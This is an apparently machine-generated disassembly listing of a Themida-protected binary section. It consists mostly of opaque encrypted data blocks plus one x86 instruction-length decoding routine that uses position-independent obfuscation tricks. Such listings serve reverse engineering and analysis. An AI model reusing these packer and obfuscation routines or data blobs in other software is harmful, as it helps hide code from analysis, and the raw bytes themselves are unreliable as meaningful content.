		dd 2809FDAFh, 5CC5CE72h, 0F3F70EBAh, 0A1E2D6Dh,	0B90A5D3Ch
		dd 10CD1DBh, 2F7F4C0Eh,	288F2539h, 0CC8B7F08h, 510994h
		dd 99186C6Dh, 0C8E90535h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
dword_5985A8	dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
					; DATA XREF: Themida_:0053CD24o
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0CBEC3EDh, 85C76006h
		dd 60CBE10h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0CBE1485h,	606h, 24E900h
		dd 858D0000h, 60CBE18h,	68858D50h, 50060CBEh, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 0BE148589h, 361060Ch, 0CBE14B5h
		dd 10858B06h, 5D060CBEh
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59870E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59871A
; ---------------------------------------------------------------------------


loc_59870E:				; CODE XREF: Themida_:005986F7j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_59871A:				; CODE XREF: Themida_:00598709j
		push	ebx
		push	esi
		push	edi


loc_59871D:				; CODE XREF: Themida_:00598772j
					; Themida_:0059878Ej ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_598730:				; CODE XREF: Themida_:00598757j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60CBF7Ah
		lea	ebp, [ebp+60CBDF0h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59875D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_598730


loc_59875D:				; CODE XREF: Themida_:0059874Cj
		cmp	cl, 0Bh
		jz	loc_5987BA
		cmp	al, 66h
		jnz	loc_59879B
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59871D
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_598793
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59871D
; ---------------------------------------------------------------------------


loc_598793:				; CODE XREF: Themida_:00598780j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59879B:				; CODE XREF: Themida_:00598768j
		cmp	al, 67h
		jnz	loc_59871D
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59871D
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59871D
; ---------------------------------------------------------------------------


loc_5987BA:				; CODE XREF: Themida_:00598760j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5987E6
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5987EB
; ---------------------------------------------------------------------------


loc_5987E6:				; CODE XREF: Themida_:005987C5j
		movzx	edi, al
		shr	edi, 1


loc_5987EB:				; CODE XREF: Themida_:005987E1j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60CC032h
		lea	ebp, [ebp+60CBCF0h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59896D
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5988B1
		dec	ecx
		jz	loc_598894
		dec	ecx
		jnz	loc_598904
		cmp	byte ptr [ebp-2], 0
		jnz	loc_598900
		cmp	byte ptr [ebp-5], 0
		jz	loc_598873
		mov	byte ptr [ebp+0Bh], 2


loc_598873:				; CODE XREF: Themida_:00598869j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60CC0BEh
		mov	dword ptr [ebp+60CBE10h], 1
		pop	ebp
		jmp	loc_598904
; ---------------------------------------------------------------------------


loc_598894:				; CODE XREF: Themida_:0059884Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5988DE
		cmp	byte ptr [ebp-5], 0
		jz	loc_5988DE
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5988DE
; ---------------------------------------------------------------------------


loc_5988B1:				; CODE XREF: Themida_:00598847j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5988F7
		cmp	byte ptr [ebp-5], 0
		jz	loc_5988E6
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5988DE
		mov	[ebp+0Bh], cl


loc_5988DE:				; CODE XREF: Themida_:00598898j
					; Themida_:005988A2j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_598904
; ---------------------------------------------------------------------------


loc_5988E6:				; CODE XREF: Themida_:005988BFj
		cmp	dl, 5
		jnz	loc_598904
		mov	[ebp+0Bh], dl
		jmp	loc_598904
; ---------------------------------------------------------------------------


loc_5988F7:				; CODE XREF: Themida_:005988B5j
		cmp	dl, 6
		jnz	loc_598904


loc_598900:				; CODE XREF: Themida_:0059885Fj
		mov	byte ptr [ebp+0Bh], 3


loc_598904:				; CODE XREF: Themida_:00598855j
					; Themida_:0059888Fj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_598932
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_598914:				; CODE XREF: Themida_:0059892Aj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_598914
		mov	esi, edx


loc_598932:				; CODE XREF: Themida_:00598907j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_598967
		cmp	edi, 7Fh
		ja	loc_598967
		test	bl, 38h
		jnz	loc_598967
		cmp	byte ptr [ebp-7], 0
		jz	loc_598961
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_598964
; ---------------------------------------------------------------------------


loc_598961:				; CODE XREF: Themida_:00598952j
		push	1
		pop	eax


loc_598964:				; CODE XREF: Themida_:0059895Cj
		mov	[ebp-1], al


loc_598967:				; CODE XREF: Themida_:00598936j
					; Themida_:0059893Fj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_59896D:				; CODE XREF: Themida_:00598817j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_598998
		dec	eax
		dec	eax
		jz	loc_59898E
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5989A0
; ---------------------------------------------------------------------------


loc_59898E:				; CODE XREF: Themida_:0059897Dj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59899D
; ---------------------------------------------------------------------------


loc_598998:				; CODE XREF: Themida_:00598975j
		mov	al, [ebp-3]
		add	al, 4


loc_59899D:				; CODE XREF: Themida_:00598993j
		add	[ebp-1], al


loc_5989A0:				; CODE XREF: Themida_:00598989j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5989C8
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5989B3:				; CODE XREF: Themida_:005989C2j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5989B3


loc_5989C8:				; CODE XREF: Themida_:005989A8j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLSs		db '▀пИ≤',0
		dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 32480000h, 4AE94759h, 6800000Bh, 60CC467h, 0FABAC6E9h
		dd 0C56968FFh, 0BCE9060Ch, 68FFFABAh, 60CC665h,	0FABAB2E9h
		dd 0C6CC68FFh, 0A8E9060Ch, 68FFFABAh, 60CC7FCh,	0FABA9EE9h
		dd 0C85068FFh, 94E9060Ch, 68FFFABAh, 60CCB46h, 0FABA8AE9h
		dd 0CC3C68FFh, 80E9060Ch, 28FFFABAh, 22C95EF7h,	1BC257F6h
		dd 16BD52EDh, 12B94EE7h, 16B146DFh, 751043FEh, 710C39E0h
		dd 700335DCh, 710434DBh, 0B3A10FDCh, 43972F42h,	25A4768Dh
		dd 0AAA3EA2h, 5C46CD0Ah, 6E9E2B5Bh, 3E7C180Fh, 0C96A7E3Eh
		dd 52E88922h, 0FD9AC3CFh, 0F8CA33CEh, 556E5880h, 72079ECEh
		dd 932921A9h, 0F884F5E3h, 0FCCF49A2h, 721C0A12h, 2D47A20Eh
		dd 7C25B35Ah, 84CAB44Dh, 439BDD17h, 72A12E5Bh, 88F36D7h
		dd 0D79B42DBh, 943AFA44h, 2B267B1h, 9BDDA314h, 0C57A0D43h
		dd 1B9DF3DCh, 7DD6C093h, 1FB7A358h, 4182h, 0D627AA00h
		dd 0F2478B9h, 0ED94315Eh, 0FDC9B354h, 0F48A820Ah, 0A3018406h
		dd 46DCAF47h, 33DA6D9Dh, 997B09Ah, 1FCB2E60h, 0A6DDA7C5h
		dd 68AE9839h, 439C19FBh, 0F5FB4528h, 1FB697E0h,	0B6FAh
		dd 0FC2C5E00h, 83BC269h, 0F3FC66Dh, 1A4AD178h, 0C6FAE67Bh
		dd 4F49A3EEh, 72DB7AA6h, 0CD753511h, 9A9B85FDh,	8F36CB6Ah
		dd 7821C85Fh, 7462F8F0h, 47A29C3Ah, 0B82917C7h,	3439C6Bh
		dd 794C4630h, 9B931BE4h, 0F6675505h, 41439C6Ah,	8E7C846Eh
		dd 4194CDE1h, 8F00EE9Eh, 0DA3D92BDh, 50231D07h,	2F610ABAh
		dd 41E273A6h, 1617019Ah, 16BD52E3h, 817C52E3h, 0F1F07F44h
		dd 8D341C2h, 94C50000h,	99C56C01h, 94C269FEh, 8EBD64F9h
		dd 84B75EF3h, 0A9C15CF1h, 952ABBEEh, 8F24C1EEh,	861BB6E8h
		dd 8318AFDFh, 0E95A48B6h, 3443972Dh, 0F92C4B1Dh, 0FC2CD368h
		dd 0A62D469h, 6F48A82h,	47A30184h, 9203F1A1h, 0DD439CE1h
		dd 5326200Ah, 0E173E0ACh, 0BDA0439Ch, 0D1686D73h, 0DA721FB5h
		dd 0D6000000h, 4F7BFC2Ch, 0CF7009B0h, 0D36EA128h, 0EE2C602Ch
		dd 8CBC49A3h, 33B664F9h, 0AE9C3B5Dh, 49A3483Dh,	0D54CB588h
		dd 0B5D43D4Eh, 6ED41546h, 2353543Eh, 0AC34DD84h, 43751EB4h
		dd 867009B0h, 0F525CE7Eh, 3822BB62h, 0A27BB8F2h, 0EA805347h
		dd 0FCBE4A67h, 92629F02h, 1795FE51h, 0E15FF78h,	2FC5BD45h
		dd 9BA23BACh, 0E8D21E5Ch, 5A8730E0h, 608D14BBh,	0E4851EC5h
		dd 40ACB4FAh, 10E34195h, 39ED17Ah, 6C3DC06Eh, 0A1A9EE19h
		dd 0B7EAEBD5h, 3B1A8B56h, 37D84196h, 7E459661h,	64E514F0h
		dd 7D1h, 5EF392C3h, 57EC8BB7h, 52E782B0h, 4CE17CABh, 4ADF72A5h
		dd 0A9DC97AFh, 0AFDC8318h, 0A8DA8116h, 0A1D1780Dh, 36A47106h
		dd 972DD748h, 390B2243h, 0D368F92Ch, 0D469FC2Ch, 87752562h
		dd 49A3F216h, 0A3A48E61h, 0A62DD473h, 27C2F176h, 0A028F186h
		dd 0E1DA79E0h, 61F3BF53h, 0F44E4566h, 0B046E788h, 975F62C2h
		dd 99C88947h, 0DDCB5900h, 4396DF6Ch, 0B443E4B7h, 0B14AF184h
		dd 1ACA7A10h, 96DFBB2Ch, 49330643h, 0E87D1848h,	96DF1BFCh
		dd 0B4961D43h, 9A0BF987h, 0E54396DFh, 31CA7112h, 2151FA90h
		dd 0CEB94ABEh, 0C4650239h, 0E068BC1Dh, 35B3DDE8h, 40D30594h
		dd 42BA4F56h, 0E67C74FCh, 95EC4EF8h, 0AF360941h, 0C783F5A3h
		dd 170F97CFh, 0E5BD9381h, 5D8A7C5h, 352DB55Eh, 53CB19Fh
		dd 8457A1BAh, 821545EEh, 8A1646EDh, 0B5652B9Ch,	2A3769Dh
		dd 80FC452Ch, 0CD4E7D57h, 6D5h,	6AFF96C7h, 63F897C3h, 5EF38EBCh
		dd 58ED88B7h, 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h
		dd 0A5D57C11h, 42B07D12h, 972CE354h, 45172E43h,	6C9C820Ah
		dd 751CBBEBh, 49A3BDCh,	2A6B2081h, 6C56E2BAh
dword_598E68	dd 14167664h, 6A3D4797h, 72FF2BD4h, 7409AA43h, 5F06A1CDh
					; DATA XREF: Themida_:0054B422o
		dd 370DA8D8h, 0FA632F68h, 6EE26392h, 60000006h,	5A01962Fh
		dd 53FA8F2Eh, 4EF58A25h, 4AF1861Fh, 4EE97E17h, 0AD487B36h
		dd 0A9447118h, 0A83B6D14h, 0A93C6C13h, 0EBD94714h, 43972C7Ah
		dd 0ADCAEC5h, 44F48A82h, 0B2DF689Bh, 42887213h,	4797B0E2h
		dd 0F7A03609h, 0D29B30C7h, 960F8F4Bh, 0DB821D49h, 730CD942h
		dd 614FE586h, 43972004h, 0E9B55C2Fh, 43971F7Bh,	757BC5A8h
		dd 1FBB8F60h, 477Ah, 830ADE00h,	98A336C7h, 0BBE81E5Eh
		dd 4AE08122h, 0A38AF75Ch, 0B85F3249h, 0CB54812Ah, 0C25B029Dh
		dd 0C3629221h, 8A2693D9h, 705349A3h, 23B520A6h,	112719AFh
		dd 8B000000h, 1A732h, 0CEBC6C00h, 49A3F25Dh, 1FEBD5A8h
		dd 1699C03Eh, 0C0AEAE6Bh, 49A3CA4Fh, 0CD5EC79Ah, 98CA599Eh
		dd 0D3BD56FDh, 9A3028B0h, 0A22102ACh, 63EABD47h, 35714457h
		dd 3D2AB2EAh, 0F160DE4Fh, 0B5562993h, 635B311Fh, 0A37691F0h
		dd 439D8A0Dh, 0B5A15DA9h, 8109B2CBh, 0DA35A694h, 619F8DEAh
		dd 566AE5F2h, 0A8491CA4h, 54AF2412h, 0F7CA8BE4h, 0FF88B861h
		dd 39839CCh, 0C3992C5Ch, 3DAA4F12h, 3E60E110h, 30000005h
		dd 2AD166FFh, 23CA5FFEh, 1EC55AF5h, 1AC156EFh, 1EB94EE7h
		dd 7D184B06h, 791441E8h, 780B3DE4h, 790C3CE3h, 0BBA917E4h
		dd 43972B4Ah, 2CAC7E95h, 2AD369FCh, 5C755FFEh, 9D332BB3h
		dd 0A2EB29AFh, 0FC916447h, 0BC922555h, 0FA697613h, 0EA2FB0DFh
		dd 0DC000004h, 0DE851AABh, 0D77E13B2h, 0D2790EA9h, 0CE750AA3h
		dd 0DA750A9Bh, 41D407C2h, 3DD805ACh, 34CF01A8h,	2DC8F89Fh
		dd 6F5DCB98h, 439729FEh, 2C603249h, 3BC269FCh, 3EC56C0Bh
		dd 45CC7312h, 12D67D18h, 0BC75B17Fh, 0DB0B3503h, 50F9A73Ch
		dd 429B8520h, 19AEBC93h, 4549h,	820AAD00h, 7071F48Ah, 0A773DAF7h
		dd 0BBA9B19Bh, 47A21569h, 0EEBA6134h, 439C0581h, 806E1EAEh
		dd 439C050Fh, 0CB66995Ah, 54EA8B24h, 9C04F566h,	836D4043h
		dd 0FDD81E28h, 0DF1FB6ACh, 38h,	9A2B5E07h, 820AE4B0h, 9B116C9Ch
		dd 0F5F2BBA5h, 44DA7B1Ch, 1EB9EB94h, 0E81AEE34h, 5E3147A2h
		dd 54F31FC8h, 5765D3BFh, 79A9439Ch, 76A249DEh, 1AAF30D7h
		dd 25000004h, 0F48A820Ah, 0A2D09406h, 650CDF47h, 7017AEDEh
		dd 7A21BCE9h, 8229C4F3h, 0D640CE17h, 0A57112A3h, 70F80412h
		dd 82F4E278h, 0CD419BAEh, 8DBB64FAh, 5A0108F2h,	45F58B2Ah
		dd 31D8699Ch, 0AE53C498h, 39E3D95h, 15167030h, 766001A6h
		dd 0F926CF5Dh, 0C74F725Ch, 0E14B39CFh, 0E3B9416h, 0F79E3965h
		dd 0DF7A745Eh, 42B0E72Eh, 2AD17201h, 7EA876BFh,	5922B74Eh
		dd 5543D9D1h, 358D74E3h, 2DB45B2Eh, 0EB4E7CFDh,	2D7E4EC8h
		dd 0B158F94Eh, 65D07718h, 7A02121Ch, 4B2E9F8Dh,	0A6793187h
		dd 77F9173Dh, 0EF909FE6h, 6926A959h, 739FDDE1h,	65D71D07h
		dd 0B02F8625h, 6B9E47DDh, 0B7A533DAh, 2B802546h, 331DBE91h
		dd 0C255852Ch, 0D061941Bh, 44D26529h, 760BAADAh, 972D25ADh
		dd 2588F9E7h, 9CCC2B80h, 41C96209h, 0CC7C846Eh,	0B158F723h
		dd 7EE82E18h, 0B9297F25h, 88B83FE6h, 92DB46EDh,	0F8F07884h
		dd 250A7462h, 84452378h, 7D16BD58h, 70A047DCh, 0EABC3FD5h
		dd 7C154488h, 0ACD33CD5h, 0DFF8E218h, 0F88D2858h, 0D36EA14Ah
		dd 463EC6E9h, 0A618C2B0h, 1CC51D71h, 756F59ECh,	0C22FFBA2h
		dd 0EF196B75h, 19BC020Ch, 0C349E739h, 3Ah, 8A820A27h, 801F4BF4h
		dd 0F28BFCEAh, 3D649A3h, 0A1231119h, 0CC47A301h, 198652F9h
		dd 46439CE1h, 0C213D563h, 181FB5D0h, 0EFh, 0BAE79040h
		dd 0D5D6471Bh, 4E21439Ch, 0A2259864h, 38158931h, 0F7F8E29Fh
		dd 28930C7h, 8DE56ECFh,	2713E7C9h, 2AD16C98h, 0D75AF091h
		dd 0B4FB0C4Bh, 77907A58h, 7E25C0F0h, 9B30C7F7h,	0A3247BAFh
		dd 3CDB0B49h, 35D000A7h, 655DE58Eh, 5FF626CFh, 2D351FB8h
		dd 0A204513Fh, 56019C47h, 6566407Ah, 145ACBB9h,	0D2A5439Ch
		dd 32FB9031h, 6C1CB2AAh, 145DCEBCh, 0DA8439Ch, 6CE71787h
		dd 7A09AAE4h, 80C6B04Dh, 4194B7F0h, 1ECE6437h, 0C8B24575h
		dd 6C0194C7h, 63792C5h,	791442B9h, 7AF9CA10h, 2C603D9h
		dd 8DBCF07Fh, 1F40Ch, 20B5E600h, 1DB8E48Bh, 18B3E188h
		dd 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h
		dd 0F69D32C5h, 0CD9A2FC6h, 2700715Fh, 344B4397h, 68F92C62h
		dd 69FC2CD3h, 0DAA326D4h, 0C64E7CA2h, 25602C16h, 0CCB64F7Ch
		dd 932921A9h, 0A30123A5h, 0C7B34E47h, 758D2F94h, 0A57118B9h
		dd 439C0438h, 32B48265h, 1FB6ADA3h, 0C839h, 0FC2C9D00h
		dd 9B04F7Bh, 9A28CF70h,	87EFE717h, 0C86877E6h, 91DF488Ah
		dd 4ADD0F3Dh, 0D3690AA3h, 0A3BB74E5h, 2ECBF49h,	8C33CE01h
		dd 0A3B78CC0h, 59EC1C49h, 5AED1DC4h, 8A820AB3h,	971806F4h
		dd 0AC5547A2h, 0A33CE37Eh, 0A54CE514h, 5528220Ch, 776FF7C0h
		dd 598831E1h, 0EB90D6C0h, 0A64194ECh, 61943DD3h, 61943BD0h
		dd 7AA658DBh, 3F691746h, 9215FA6Bh, 0F3F6643Dh,	17009F56h
		dd 451BBC8Fh, 0F07F108Eh, 0FEC44574h, 0F0000000h, 0EA9126BFh
		dd 0E38A1FBEh, 0DE851AB5h, 0DA8116AFh, 0DE790EA7h, 3DD80BC6h
		dd 39D401A8h, 38CBFDA4h, 39CCFCA3h, 7B69D7A4h, 4397260Ah
		dd 256C3E55h, 0CEB8497Ch, 72079ACDh, 67FC9BCBh,	4F7C25F5h
		dd 9BCBCCB6h, 9ECE55FCh, 71B1ED3Fh, 0EC8DCCE5h,	19068E57h
		dd 0A3C2BA2Bh, 91320549h, 0EC5D4BFBh, 3749A3C1h, 0C2727A64h
		dd 0C2B32412h, 2BFE49A3h, 0C236A795h, 0AE8149A3h, 7F7A7EC4h
		dd 0DEB14797h, 0D100A937h, 69F89138h, 5FF89F3Ah, 0B1447475h
		dd 0B83F721Bh, 614BEC85h, 1C83B35Ah, 69B6EE96h,	5D04A520h
		dd 64143191h, 2BD41404h, 0A64171FEh, 36C55E05h,	32CB7203h
		dd 0F523ED48h, 0DE4F3DC5h, 29024164h, 0FB9AC756h, 841ABB54h
		dd 0EF1EABDBh, 7516AF56h, 2DD6848Bh, 25BE6500h,	6B0A3A3Bh
		dd 730E3DC4h, 0E1861CCh, 0C055F020h, 9F3A6912h,	0F184B4B5h
		dd 3C94Ah, 5E3F0000h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h
		dd 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h,	0B14C7A01h
		dd 0B857830Ah, 54576711h, 4C7815Fh, 83000000h, 3C8704EFh
		dd 8F685C24h, 8900005Ah, 8956241Ch, 4C681E6h, 83000000h
		dd 348704EEh, 2C895C24h, 0BB535024h, 29544311h,	0BB5BD889h
		dd 0DCB87FF3h, 5458C301h, 81242C8Bh, 4C4h, 34815300h, 0B02BCA24h
		dd 8458F08h, 400BB951h,	0D1F764AAh, 0E181D1F7h,	6C4204CFh
		dd 0E1C1E1D1h, 0CAF18108h, 310CB03Dh, 8B59084Dh, 8952242Ch
		dd 4C281E2h, 83000000h,	148704C2h, 34FF5C24h, 0C4815B24h
		dd 4, 0FAAF92E9h, 4A1EEDFFh, 0BFE176D4h, 0A397B143h, 0CD5FB8F2h
		dd 0C503060Ch, 50F0E0FFh, 9D94086Dh, 384D1A8Fh,	6C6C7C05h
		dd 5F825BAh, 0F2E2BA9h,	131077FFh, 6F0609D7h, 0F378245Bh
		dd 0E7464FD3h, 0F4BF39F5h, 81E7CB3h, 77A458E4h,	6CC93FDCh
		dd 7F8B0B8Eh, 0DC2609AFh, 0E60D283Ch, 1D5D0600h, 0E1D1537Fh
		dd 323E5808h, 82B178E3h, 0A804131Fh, 24EB04E7h,	9 dup(0)
		dd 0BDE9h
		db 0
byte_599649	db 89h,	0B5h, 61h	; DATA XREF: Themida_:0053E78Co
		dd 8B060CCEh, 719BD85h,	15858B06h, 8D060719h, 0CCEABB5h
		dd 17858D06h, 0FF060A48h, 0E855C3D0h, 0
		dd 0B1ED815Dh, 83060CCEh, 719BDBDh, 850F0106h, 2Ch, 0CE61B5FFh
		dd 858B060Ch, 6071915h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CCE65h
		dd 61B5FF56h, 8B060CCEh, 7191585h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 0CCE65B5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 19BDBD83h, 0F010607h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 60CCE8Ah, 1FCD8589h, 8D8D0607h
		dd 60CD035h, 2FDD9D33h,	8D890607h, 6071AD9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DC35242h, 97312284h
		dd 6860F23h, 89000000h,	70409BDh, 1D85C706h, 4060710h
		dd 6A000066h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 2134C351h, 0C79AF780h,	7330585h
		dd 6, 0E880F00h, 0E9000000h, 9,	8A800FA4h, 18A81DBDh, 69B5FFE5h
		dd 0E8060704h, 12h, 6058BC56h, 82BF1A01h, 7D845645h, 0DCB1668Eh
		dd 6E95790h, 2000000h, 0A6122D19h, 95FF5894h, 6071859h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h
		dd 93E10279h, 260626F2h, 0FF006AF8h, 70D6995h, 0EBC08B06h
		dd 9CC49E48h, 0AB764E92h, 41FF4786h, 34F26920h,	0F750F478h
		dd 0BC46E715h, 0E06F61A8h, 2E2AA481h, 8B9C2BB2h, 2D2DA2EBh
		dd 0A943F7DEh, 0E5106324h, 0E30F1DBAh, 9BA1F543h, 11A84CD1h
		dd 0C02A3E08h, 0A0F966C6h, 0FA384B03h, 0DE8CAh,	0E65E0000h
		dd 8CF65BF7h, 0C6F8546Eh, 668D1CEEh, 58B462BBh,	141DBD2Bh
		dd 0C0810607h, 6896h, 12FDBD29h, 0C9330607h, 1850160h
		dd 66060714h, 61B209B8h, 8108348Bh, 7CF9B0C7h, 24EE8133h
		dd 0F47879Fh, 8Ah, 96F68100h, 0E935C7B3h, 10h, 4D3B4037h
		dd 32C8EB39h, 28EF0207h, 0F1BB55E8h, 576CC681h,	8D8920F6h
		dd 6071911h, 0F083489h,	685h, 6DBD8900h, 8B06072Eh, 40E981DEh
		dd 5672F204h, 58F0Fh, 81660000h, 5A4A69EFh, 43CC181h, 0F98172F2h
		dd 0FFFF9814h, 0FF8E850Fh, 890FFFFFh, 4, 0C47CBB66h, 0ABE9h
		dd 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h,	95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 0E7A601E8h, 83323D94h, 31711188h, 134EE9h, 0D3E46800h
		dd 90E9060Ch, 68FFFAABh, 60CD4E3h, 0FAAB86E9h, 0D5EB68FFh
		dd 7CE9060Ch, 68FFFAABh, 60CD746h, 0FAAB72E9h, 0D7DA68FFh
		dd 68E9060Ch, 68FFFAABh, 60CD899h, 0FAAB5EE9h, 0D95868FFh
		dd 54E9060Ch, 68FFFAABh, 60CDA07h, 0FAAB4AE9h, 0DAD068FFh
		dd 40E9060Ch, 68FFFAABh, 60CDC16h, 0FAAB36E9h, 0DD1D68FFh
		dd 2CE9060Ch, 68FFFAABh, 60CDE5Dh, 0FAAB22E9h, 0DF8468FFh
		dd 18E9060Ch, 68FFFAABh, 60CE146h, 0FAAB0EE9h, 0E25B68FFh
		dd 4E9060Ch, 0ACFFFAABh, 0AE55EA7Bh, 0A74EE382h, 0A249DE79h
		dd 9E45DA73h, 0AA45DA6Bh, 11A4D792h, 0DA8D57Ch,	49FD178h
		dd 0FD98C86Fh, 3F2D9B68h, 439720CEh, 4BF40219h,	42DB821Dh
		dd 0FC2C8C58h, 0B3BC269h, 0C87B55A4h, 0A2FE69DAh, 78E1B449h
		dd 9A3BF013h, 0BCB43C05h, 9DCD7626h, 30DA200Ah,	0EB47A287h
		dd 56C43523h, 3C0F439Ch, 0BB28F49Bh, 0FF439C56h, 78E35D0h
		dd 0D59940D7h, 9238F442h, 765F61AFh, 641FB658h,	31h, 8A820AC8h
		dd 18406F4h, 0DCAF47A3h, 2E24A735h, 9203F190h, 0DD439C0Ah
		dd 0A763A10Ah, 0E7BC1ABh, 3B439C22h, 0CD08CE58h, 0F1FB68Fh
		dd 0E8h, 69FC2C73h, 588B34C2h, 9FD2D3BDh, 0A8D85F06h, 0AFDF660Dh
		dd 0C061FC2Ah, 2C67A72Ah, 0CA8604E7h, 0EB5440FCh, 0EDD72D37h
		dd 618F38E6h, 9C861FC6h, 0A3C7A056h, 7C043449h,	0A3C71D8Eh
